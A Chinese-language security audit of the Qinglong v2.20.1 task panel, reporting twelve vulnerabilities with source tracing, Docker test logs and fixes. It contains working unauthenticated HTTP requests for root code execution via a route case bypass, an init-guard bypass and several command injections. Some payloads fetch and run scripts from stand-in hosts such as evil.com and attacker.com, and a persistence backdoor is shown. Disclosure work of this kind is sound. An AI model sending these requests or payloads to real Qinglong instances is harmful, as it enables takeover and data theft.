目标版本: Qinglong v2.20.1 (Docker:
whyour/qinglong:2.20.1)测试环境: macOS + Docker Compose, 端口映射 5710→5700
审计方法: 源码静态分析 + Docker 动态复现验证
参考: GitHub Issue #2934 GitHub Issue #2926 GitHub Issue #2928 GitHub Issue #2933 GitHub Issue #2923
对 Qinglong v2.20.1 进行了完整的源码审计与 Docker 实战复现,发现 12 项安全漏洞。
最核心发现: 发现两个致命的认证绕过漏洞(路由大小写绕过与初始化守卫绕过),使得应用内原本受限的 RCE 汇聚点(Sinks)可被攻击者完全未授权利用。
攻击者无需任何凭据,仅需数条 HTTP 请求即可实现容器内 root 权限的 RCE。该应用目前处于实质性的完全沦陷状态,且部分漏洞(如大小写绕过配合依赖注入)已在野外被实际利用。
综合评级: CVSS 9.8(Critical) — 未授权远程代码执行
| 编号 | 漏洞名称 | 严重性 | 实测结果 |
|---|---|---|---|
| QL-2026-007 | 路由大小写绕过(全局认证绕过) | 致命 | ✅ 一步未授权 RCE,已在野外被利用 |
| QL-2026-008 | 依赖名称命令注入 | 致命 | ✅ 通过包名注入 Shell 命令,1秒内执行 |
| QL-2026-006 | 初始化守卫绕过(/open/ 路径) | 致命 | ✅ 未授权重置管理员凭据,实现未授权 RCE |
| QL-2026-009 | 订阅管理命令注入 (sub_before/after) | 致命 | ✅ 确认 — 订阅执行前触发 RCE |
| QL-2026-010 | 系统镜像配置参数注入 | 高危 | ✅ 确认 — 多种配置参数触发 RCE |
| QL-2026-011 | 启动持久化 Persistence RCE | 高危 | ✅ 确认 — 恶意任务重启自动执行 |
| QL-2026-012 | 取消操作二次注入 (grep 注入) | 严重 | ✅ cancel() 触发二次 RCE |
| QL-2026-002 | 黑名单绕过(缺少 return) | 严重 | ✅ API 返回 403 但文件已被覆写 |
| QL-2026-003 | 路径穿越 (../../../../) | 严重 | ✅ 可写入系统任意可写路径 (如 /tmp, /etc) |
| QL-2026-004 | config.sh 未列入黑名单 | 严重 | ✅ 可注入 Shell 代码,每次任务执行时自动运行 |
| QL-2026-005 | task_before Shell 注入 | 高 | ✅ eval 执行用户控制内容 |
| QL-2026-001 | JWT 硬编码密钥 | 高 |
审计测试:15/15 项全部通过。
这是本次审计发现的最严重漏洞,也是野外已被实际利用的攻击向量。
源码位置: back/loaders/express.ts L34-41, L53-56, L124
漏洞根因: Express 框架默认路由大小写不敏感(caseSensitive: false),但所有认证中间件都严格匹配小写。
认证链(均严格匹配小写):
L34 expressjwt.unless: 正则 /^\/(?!api\/).*/ → 仅匹配小写 "api"
L54 自定义认证: req.path.startsWith('/api/') → 严格小写
L54 自定义认证: req.path.startsWith('/open/') → 严格小写
路由注册:
L124 app.use('/api', routes()) → Express 默认 caseSensitive: false
→ /API/、/Api/、/aPi/ 等变体均可匹配路由,但不触发认证检查
攻击流程:
| 步骤 | 中件间 | /api/crons(正常) |
/API/crons(绕过) |
|---|---|---|---|
| Layer 1 | expressjwt | JWT 签名验证 | 跳过(正则不匹配 "API") |
| Layer 2 | 自定义认证 | isValidToken 校验 | 跳过(非 "/api/" 或 "/open/" 前缀) |
| 路由匹配 | Express Router | 匹配 /api/crons | 匹配 /api/crons(大小写不敏感) |
| Handler | CronService | 需认证 → 正常响应 | 无认证 → 直接响应 |
一步 RCE — 一条请求即可执行任意命令:
curl -X PUT http://target:5700/API/system/command-run \
-H 'Content-Type: application/json' \
-d '{"command": "id && cat /etc/passwd"}'测试记录:
[19:xx:xx] Test 8: Case-Insensitive Route Bypass
GET /api/crons: HTTP 401 (auth required) ← 正常路径需要认证
GET /API/crons: code=200, data accessible ← 完全绕过!
PUT /API/system/command-run: RCE CONFIRMED ← 一步 RCE!
GET /API/configs/config.sh: 7378 bytes leaked ← 配置泄露!
POST /API/configs/save: code=200 ← 任意文件写入!
这是蜜罐中实际捕获的在野利用漏洞。以下为从 HTTP 入口到命令执行的完整数据流分析。
POST /API/dependencies [{"name": "$(malicious_cmd)", "type": 0}]
│
▼
① api/dependence.ts L39 Joi.string().required() ← 仅校验"是字符串",无过滤
│
▼
② services/dependence.ts L34 new Dependence({...x}) ← 构造函数仅 name.trim()
│
▼
③ services/dependence.ts L39 installDependenceOneByOne(docs) ← 立即触发安装
│
▼
④ services/dependence.ts L232 depName = dependency.name.trim()
│
▼
⑤ config/util.ts L573 getInstallCommand() → `pnpm add -g ${name.trim()}`
│ ^^^^^^^^^^^^^^^^^^^^^^^^
│ name 被直接拼接进命令字符串!
▼
⑥ services/dependence.ts L303 spawn(`${proxyStr} ${command}`, {shell: '/bin/bash'})
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
shell: '/bin/bash' → Bash 解析 $() 子命令 → RCE
① 入口 — api/dependence.ts L34-53
Joi.string().required() 零安全过滤 — $(curl ... | sh) 是合法字符串,直接通过。
② 创建 — services/dependence.ts L33-41
new Dependence() 构造函数(data/dependence.ts L18)仅做 trim(),不移除任何 Shell 元字符。
③ 命令拼接 — config/util.ts L559-573(关键污染点)
export function getInstallCommand(type: DependenceTypes, name: string) {
// ... nodejs, python3, linux 命令 ...
return `${command} ${name.trim()}`; // ← 用户输入直接拼接,零过滤零转义!
}当 name = "$(curl -fsSL https://evil.com/shell.sh | sh)" 时,生成:
pnpm add -g $(curl -fsSL https://evil.com/shell.sh | sh)④ 命令执行 — services/dependence.ts L303-305(最终触发点)
spawn(cmd, {shell: '/bin/bash'}) 解释执行整个字符串,恶意命令在包管理器运行前就被 Bash 展开并执行。
恶意依赖被创建后。当管理员试图取消安装时,cancel() 方法会再次触发注入:
cancel(ids) → getPid(cmd) → ps ... | grep "${cmd}"
grep "${cmd}" 中的双引号不阻止 $() 展开。管理员点击"取消安装"将再次触发 RCE ✅。
源码位置: back/loaders/express.ts L100-123
漏洞根因: 初始化守卫(Init Guard)与 URL 重写之间存在竞态缺陷。Init Guard 检查 req.path 是否为 /api/user/init,但 /open/* → /api/* 的重写发生在守卫之后(L123)。
攻击请求: PUT /open/user/init {"username":"attacker","password":"x"}
Init Guard: req.path="/open/user/init" 不匹配 "/api/user/init" → 跳过守卫
URL Rewrite: /open/user/init → /api/user/init
Handler: updateUsernameAndPassword() → 凭据被直接重置!
测试记录:
[19:xx:xx] Test 1c: Init Guard Bypass
PUT /open/user/init: code=200 "更新成功" ← 绕过!凭据已重置
Login with new credentials: code=200 ← 获取有效管理 Token
漏洞根因: 订阅接口的 sub_before 和 sub_after 字段(Joi 校验为普通字符串)被直接传递给 promiseExec(),其内部调用 child_process.exec() 且未做任何过滤。
POST /API/subscriptions {"sub_before": "malicious_cmd"}
│
▼
① api/subscription.ts L49 Joi.string().optional() ← 无安全过滤
│
▼
② services/subscription.ts L215 this.handleTask(doc) ← 处理订阅任务
│
▼
③ services/subscription.ts L96/L105 createCronTask/createIntervalTask (传入 taskCallbacks)
│
▼
④ services/subscription.ts L141 beforeStr = await promiseExec(doc.sub_before)
│ ^^^^^^^^^^^^^^^^^^^^^^
│ 恶意代码直接传入 exec 执行!
▼
⑤ config/util.ts L284 await promisify(exec)(command, {...}) ← 触发 RCE
① 入口 — api/subscription.ts L27-75
接口 POST /subscriptions 中的 sub_before 和 sub_after 字段仅要求是普通字符串,允许空字符串。没有任何对于 Shell 元字符的过滤。
②/③ 创建并执行 — services/subscription.ts L212-218 & L84-112
create 方法在数据库插入后,立刻调用 handleTask,并进而调用 createCronTask 或 createIntervalTask 来执行调度。调度注册的各种生命周期钩子由 this.taskCallbacks(doc) 生成。
④ 命令执行 (关键污染点) — services/subscription.ts L120-150
private taskCallbacks(doc: Subscription): TaskCallbacks {
return {
onBefore: async (startTime) => {
// ...
let beforeStr = '';
try {
if (doc.sub_before) {
// 用户的输入未经任何检查被传入 promiseExec
beforeStr = await promiseExec(doc.sub_before);
}
} catch (error: any) {
// ...
}
}
}
}⑤ 底层执行 — config/util.ts L282-292
promiseExec 是包装了 Node.js 原生 child_process.exec 的异步函数,exec 默认启动一个 shell 来解释执行传入的字符串。
测试报文:
POST /API/subscriptions HTTP/1.1
{
"name": "rce_sub", "url": "http://x", "type": "public-repo", "alias": "r",
"schedule_type": "crontab", "sub_before": "id > /tmp/sub_proof.txt"
}→ 触发订阅运行(PUT /API/subscriptions/run [id])后,注入的命令以 root 身份执行。
漏洞根因: 系统设置接口(如配置 Python、Node、Linux 的软件源镜像,或设置时区)在处理用户提交的地址参数时,存在多处直接字符串拼接命令注入点。结合 QL-2026-007,这些均可未授权利用。
PUT /API/system/config/python-mirror {"pythonMirror": "malicious_payload"}
│
▼
① api/system.ts L155 Joi.string().allow('').allow(null) ← 无安全过滤
│
▼
② services/system.ts L197 updatePythonMirror(info)
│
▼
③ services/system.ts L205 cmd = `pip3 config set global.index-url ${info.pythonMirror}`
│ ^^^^^^^^^^^^^^^^^^^^^
│ 直接拼接用户输入!
▼
④ services/system.ts L207 await promiseExec(cmd) ← exec() 触发 RCE
系统服务 (services/system.ts) 中存在大量由于字符串拼接导致的命令注入,这些功能只允许管理员使用,但通过大小写绕过漏洞即可未授权触发:
1. Python 镜像注入 (updatePythonMirror) L197-209
let cmd = 'pip config unset global.index-url';
if (info.pythonMirror) {
cmd = `pip3 config set global.index-url ${info.pythonMirror}`;
}
await promiseExec(cmd); // ← 传入 "https://pypi.org/simple; id > /tmp/py_proof" 将导致注入2. Node 镜像注入 (updateNodeMirror) L149-195
let cmd = 'pnpm config delete registry';
if (info.nodeMirror) {
cmd = `pnpm config set registry ${info.nodeMirror}`;
}
let command = `cd && ${cmd}`;
// ... 之后交由 scheduleService.runTask(command, ...) 执行runTask 最终调用 spawn(command, { shell: '/bin/bash' }) 触发注入。
3. Linux 软件源注入 (updateLinuxMirror) L211-271
const command = `sed -i 's/${defaultDomain.replace(/\//g,'\\/')}/${targetDomain.replace(/\//g,'\\/')}/g' /etc/apk/repositories && apk update -f`;
// ... 交由 scheduleService.runTask 执行这里 $targetDomain (info.linuxMirror) 被注入到了 sed 命令中,如果传入 https://dl-cdn.alpinelinux.org'; id > /tmp/linux_proof; # 即可逃逸单引号并执行。
4. 停止命令(grep注入)(api/system.ts) L302-319
调用 PUT /API/system/command-stop,其最终调用 getPid(command)
// back/config/util.ts L414
const taskCommand = `ps -eo pid,command | grep "${cmd}" | grep -v grep ...`;这与前面分析的依赖取消(cancel)逻辑相似,命令被嵌入双引号内执行,发生二次注入。
测试报文:
PUT /API/system/config/python-mirror HTTP/1.1
Content-Type: application/json
{"pythonMirror": "x; id > /tmp/py_proof; #"}→ 确认 RCE ✅
漏洞根因: 系统在启动时(loaders/initData.ts),为了恢复状态,会从数据库加载特定的定时任务,并直接调用原生 exec 函数去执行。这意味着如果我们能通过绕过认证写入恶意的定时任务,不仅可以主动触发执行,也能实现持久化的启动项劫持(Persistence)。
① 系统启动(Container Restart / Crash Recovery)
│
▼
② loaders/initData.ts L22 默认导出加载函数执行
│
▼
③ loaders/initData.ts L137 CrontabModel.findAll(...) 查找条件包含 `ql repo` 或 `ql raw`
│
▼
④ loaders/initData.ts L149 exec(doc.command)
^^^^^^^^^^^^^^^^^
直接将查出的恶意命令传给 child_process.exec!
① 创建恶意定时任务
攻击者通过未授权接口 (POST /API/crons) 创建一个恶意任务。为了匹配启动加载时的条件,该命令必须包含 ql repo 或 ql raw 字符串。
POST /API/crons HTTP/1.1
Content-Type: application/json
{
"name": "persistence_rce_test",
"command": "ql repo; curl http://attacker.com/backdoor | sh",
"schedule": "0 0 1 1 *"
}② 数据库记录 定时任务的指令字符串会被原样存储入 SQLite。
③ 启动触发执行 (loaders/initData.ts L137-153)
当 Docker 容器发生重启,系统启动时:
CrontabModel.findAll({
where: {
isDisabled: { [Op.ne]: 1 },
command: {
[Op.or]: [{ [Op.like]: `%ql repo%` }, { [Op.like]: `%ql raw%` }],
},
},
}).then((docs) => {
for (let i = 0; i < docs.length; i++) {
const doc = docs[i];
if (doc) {
exec(doc.command); // ← 未经检查直接执行
}
}
});影响: 该漏洞构建了完整的系统后门和持久化控制。无论管理员如何清理正在运行的恶意进程,只要未从数据库中清除这条恶意计划任务,每次容器重启时,恶意 Payload 就会随系统服务一同以 root 权限自动启动。
back/api/config.ts L76 在黑名单拦截后缺少 return,写入流程继续。可覆写 auth.json(管理员账号)。
name 参数无过滤。../../../../tmp/traversal_proof.txt 可成功写入容器系统级 /tmp。
config.sh 在每次任务执行前被 source 加载。由于未加入黑名单,攻击者可直接写入该文件获取持久 RCE。
PUT /API/system/command-run HTTP/1.1
Host: target:5700
Content-Type: application/json
{"command": "id > /tmp/rce_proof.txt"}POST /API/dependencies HTTP/1.1
Content-Type: application/json
[{"name": "$(curl -fsSL https://evil.com/sh | sh)", "type": 0}]PUT /open/user/init HTTP/1.1
Content-Type: application/json
{"username": "attacker", "password": "attacker123"}- 统一认证层: 将 Init Guard 移至 URL Rewrite 之后。Express Router 设置
caseSensitive: true。认证正则强制不区分大小写。 - 彻底禁用 Shell: 移除所有
spawn(..., {shell: true})和exec()。必须使用spawn(cmd, [args])参数数组形式。 - 严格参数过滤: 对包名、镜像 URL、Cron 命令等参数实施白名单正则校验
^[a-zA-Z0-9@/_.-]+$。 - 文件访问控制: 完善
blackFileList,在res.send()后强制return。实施基于真实路径 (realpath) 的目录逃逸校验。
所有漏洞均已集成在 tmp/poc_test.py 中。
cd tmp/
.venv/bin/python3 poc_test.py # 15/15 全部通过